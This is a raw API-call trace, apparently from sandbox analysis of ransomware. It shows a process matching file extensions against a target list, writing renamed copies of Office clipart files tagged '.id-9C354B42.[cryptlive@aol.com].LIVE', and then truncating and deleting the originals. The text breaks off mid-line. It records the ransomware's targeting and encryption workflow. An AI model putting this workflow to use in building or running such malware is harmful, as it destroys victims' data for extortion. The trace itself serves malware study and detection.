[0141.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.005] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.005] lstrlenW (lpString="DD00449_.WMF") returned 12 [0141.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.005] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9992) returned 1 [0141.005] CloseHandle (hObject=0x388) returned 1 [0141.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0141.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.006] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.006] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.006] GetLastError () returned 0x0 [0141.006] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2708, lpOverlapped=0x0) returned 1 [0141.008] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2710, lpOverlapped=0x0) returned 1 [0141.009] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.010] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.010] SetEndOfFile (hFile=0x1ec) returned 1 [0141.010] CloseHandle (hObject=0x1ec) returned 1 [0141.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.010] SetEndOfFile (hFile=0x388) returned 1 [0141.012] CloseHandle (hObject=0x388) returned 1 [0141.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0141.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.013] lstrlenW (lpString=".doc") returned 4 [0141.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.013] lstrlenW (lpString=".docx") returned 5 [0141.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.013] lstrlenW (lpString=".pdf") returned 4 [0141.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.013] lstrlenW (lpString=".xls") returned 4 [0141.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.013] lstrlenW (lpString=".xlsx") returned 5 [0141.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.013] lstrlenW (lpString=".ppt") returned 4 [0141.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.014] lstrlenW (lpString=".zip") returned 4 [0141.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.014] lstrlenW (lpString=".rar") returned 4 [0141.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.014] lstrlenW (lpString=".bz2") returned 4 [0141.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.014] lstrlenW (lpString=".7z") returned 3 [0141.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.014] lstrlenW (lpString=".dbf") returned 4 [0141.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.014] lstrlenW (lpString=".1cd") returned 4 [0141.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.014] lstrlenW (lpString=".jpg") returned 4 [0141.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.014] lstrlenW (lpString=".doc") returned 4 [0141.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.014] lstrlenW (lpString=".docx") returned 5 [0141.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.014] lstrlenW (lpString=".pdf") returned 4 [0141.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.014] lstrlenW (lpString=".xls") returned 4 [0141.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.014] lstrlenW (lpString=".xlsx") returned 5 [0141.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.014] lstrlenW (lpString=".ppt") returned 4 [0141.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.014] lstrlenW (lpString=".zip") returned 4 [0141.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.014] lstrlenW (lpString=".rar") returned 4 [0141.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.015] lstrlenW (lpString=".bz2") returned 4 [0141.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.015] lstrlenW (lpString=".7z") returned 3 [0141.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.015] lstrlenW (lpString=".dbf") returned 4 [0141.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.015] lstrlenW (lpString=".1cd") returned 4 [0141.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0141.015] lstrlenW (lpString=".jpg") returned 4 [0141.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.015] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.015] lstrlenW (lpString="DD00687_.WMF") returned 12 [0141.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.015] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=20784) returned 1 [0141.016] CloseHandle (hObject=0x388) returned 1 [0141.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0141.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.016] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.016] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.017] GetLastError () returned 0x0 [0141.017] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x5130, lpOverlapped=0x0) returned 1 [0141.018] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5140, lpOverlapped=0x0) returned 1 [0141.020] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.020] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.020] SetEndOfFile (hFile=0x1ec) returned 1 [0141.020] CloseHandle (hObject=0x1ec) returned 1 [0141.020] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.020] SetEndOfFile (hFile=0x388) returned 1 [0141.025] CloseHandle (hObject=0x388) returned 1 [0141.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0141.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.026] lstrlenW (lpString=".doc") returned 4 [0141.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.026] lstrlenW (lpString=".docx") returned 5 [0141.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.027] lstrlenW (lpString=".pdf") returned 4 [0141.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString=".xls") returned 4 [0141.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.027] lstrlenW (lpString=".xlsx") returned 5 [0141.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.027] lstrlenW (lpString=".ppt") returned 4 [0141.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.027] lstrlenW (lpString=".zip") returned 4 [0141.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.027] lstrlenW (lpString=".rar") returned 4 [0141.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString=".bz2") returned 4 [0141.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString=".7z") returned 3 [0141.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.027] lstrlenW (lpString=".dbf") returned 4 [0141.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.027] lstrlenW (lpString=".1cd") returned 4 [0141.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.027] lstrlenW (lpString=".jpg") returned 4 [0141.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.027] lstrlenW (lpString=".doc") returned 4 [0141.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString=".docx") returned 5 [0141.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.027] lstrlenW (lpString=".pdf") returned 4 [0141.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.027] lstrlenW (lpString=".xls") returned 4 [0141.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.028] lstrlenW (lpString=".xlsx") returned 5 [0141.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.028] lstrlenW (lpString=".ppt") returned 4 [0141.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.028] lstrlenW (lpString=".zip") returned 4 [0141.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.028] lstrlenW (lpString=".rar") returned 4 [0141.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.028] lstrlenW (lpString=".bz2") returned 4 [0141.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.028] lstrlenW (lpString=".7z") returned 3 [0141.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.028] lstrlenW (lpString=".dbf") returned 4 [0141.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.028] lstrlenW (lpString=".1cd") returned 4 [0141.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0141.028] lstrlenW (lpString=".jpg") returned 4 [0141.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.028] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.028] lstrlenW (lpString="DD00705_.WMF") returned 12 [0141.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.029] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=24588) returned 1 [0141.029] CloseHandle (hObject=0x388) returned 1 [0141.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0141.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.029] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.029] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.030] GetLastError () returned 0x0 [0141.030] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x600c, lpOverlapped=0x0) returned 1 [0141.212] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x6010, lpOverlapped=0x0) returned 1 [0141.214] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.214] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.214] SetEndOfFile (hFile=0x1ec) returned 1 [0141.214] CloseHandle (hObject=0x1ec) returned 1 [0141.214] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.214] SetEndOfFile (hFile=0x388) returned 1 [0141.217] CloseHandle (hObject=0x388) returned 1 [0141.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0141.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.241] lstrlenW (lpString=".doc") returned 4 [0141.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.241] lstrlenW (lpString=".docx") returned 5 [0141.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.241] lstrlenW (lpString=".pdf") returned 4 [0141.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.241] lstrlenW (lpString=".xls") returned 4 [0141.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.241] lstrlenW (lpString=".xlsx") returned 5 [0141.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.242] lstrlenW (lpString=".ppt") returned 4 [0141.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.242] lstrlenW (lpString=".zip") returned 4 [0141.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.242] lstrlenW (lpString=".rar") returned 4 [0141.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString=".bz2") returned 4 [0141.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString=".7z") returned 3 [0141.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.242] lstrlenW (lpString=".dbf") returned 4 [0141.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.242] lstrlenW (lpString=".1cd") returned 4 [0141.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.242] lstrlenW (lpString=".jpg") returned 4 [0141.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.242] lstrlenW (lpString=".doc") returned 4 [0141.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString=".docx") returned 5 [0141.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.242] lstrlenW (lpString=".pdf") returned 4 [0141.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString=".xls") returned 4 [0141.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.242] lstrlenW (lpString=".xlsx") returned 5 [0141.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.242] lstrlenW (lpString=".ppt") returned 4 [0141.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.242] lstrlenW (lpString=".zip") returned 4 [0141.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.243] lstrlenW (lpString=".rar") returned 4 [0141.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.243] lstrlenW (lpString=".bz2") returned 4 [0141.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.243] lstrlenW (lpString=".7z") returned 3 [0141.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.243] lstrlenW (lpString=".dbf") returned 4 [0141.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.243] lstrlenW (lpString=".1cd") returned 4 [0141.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0141.243] lstrlenW (lpString=".jpg") returned 4 [0141.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.243] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.243] lstrlenW (lpString="DD01143_.WMF") returned 12 [0141.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.244] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2140) returned 1 [0141.244] CloseHandle (hObject=0x3a8) returned 1 [0141.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 